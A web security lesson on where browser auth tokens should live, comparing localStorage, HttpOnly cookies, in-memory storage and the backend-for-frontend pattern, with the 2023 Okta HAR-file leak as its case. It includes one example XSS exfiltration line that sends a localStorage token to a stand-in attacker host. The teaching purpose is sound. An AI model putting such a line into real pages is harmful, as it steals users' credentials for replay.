Skip to content

Lesson 7 of 14 · 13m

Where Tokens Live Matters

localStorage lets any script own the credential forever; an HttpOnly cookie can be ridden but not stolen; the BFF pattern makes the frontend hold nothing.

The storage decision is the security decision

A bearer token's storage location determines which attacker can get at it, and the choice is between three places with different failure modes:

localStorage / sessionStorage. One line — localStorage.setItem('token', jwt) — and any JavaScript running on your origin can read it. "Any JavaScript" includes your bundle, your dependencies' bundles, the tag manager marketing added, and the XSS payload in that one unescaped comment field. Exfiltration is fetch('https://evil.example/?t=' + localStorage.token); the attacker now holds the credential itself and replays it from anywhere on earth, indefinitely, until exp says otherwise. sessionStorage is the same exposure with a tab-scoped lifetime.

HttpOnly cookie. Invisible to document.cookie — XSS cannot take it home. But it rides every request to the domain automatically (that's CSRF, addressed by SameSite and friends), and — the part people miss — XSS can still use it. Injected JS can call fetch('/api/me') from the victim page and the cookie attaches. The distinction is steal-vs-ride: the cookie can't be extracted for replay elsewhere; it can only be exercised in-page.

In-memory (a module variable). The strongest for SPAs: JS that owns your code path can reach it, but nothing persists — refresh wipes it. The cost: every reload means a silent token refresh, which means a refresh credential stored somewhere, which is the same problem one level down.

The wrong mental model

"JWTs are stateless, so they belong in localStorage — that's where SPAs keep state." That sentence conflates a serialization format with a credential. A 30-day refresh token in localStorage means one XSS = one month of account access from any IP. An HttpOnly cookie means the same XSS gets to make requests while the page is open, from the victim's own session. Those are different incident reports.

The pattern that resolves it: BFF

Backend-for-frontend: the SPA never holds tokens at all. The frontend talks to a thin backend over HttpOnly-cookied session requests; the backend stores access/refresh tokens server-side and calls the APIs. XSS surface drops to riding in-page requests, CSRF is contained by SameSite, and nothing long-lived touches web storage. Next.js route handlers, a Nitro serverFn, an edge middleware — every modern stack has a place to put it. When the session does live in a cookie, give it the __Host- prefix and keep it host-only — a token cookie with Domain= set re-opens the subdomain attack surface from the cookie lesson.

Two exposure surfaces people forget: service workers intercept fetch responses and run with full origin privileges — a poisoned SW registration is localStorage-tier access in a cookie world. And third-party scripts you invited (analytics, tag managers, chat widgets) execute at the same privilege as your own code; every localStorage-resident token is readable by all of them.

Evidence it mattered

October 2023, Okta's support case-management system: a BeyondTrust employee uploaded a HAR file from a troubleshooting session, and the HAR contained live Cookie session values. Attackers in the support system replayed them; BeyondTrust flagged the anomalous admin activity on October 2 and Okta confirmed the compromise on October 19. Cloudflare and 1Password surfaced the same pattern days later. Session material leaked outside the auth boundary — in a support artifact — was enough. Wherever a credential lands, it's still a credential. localStorage is just the most common place they land.

What to actually do

Long-lived credentials never touch localStorage/sessionStorage/document.cookie — HttpOnly+Secure+SameSite cookie at minimum, BFF at best. Short-lived access tokens in memory are acceptable if the refresh path is a rotating HttpOnly cookie. And sanitize anything that captures headers — HAR exports, support bundles, debug dumps — as the Okta incident demonstrated.

Keep reading

Related articles from the SudoSecurity blog.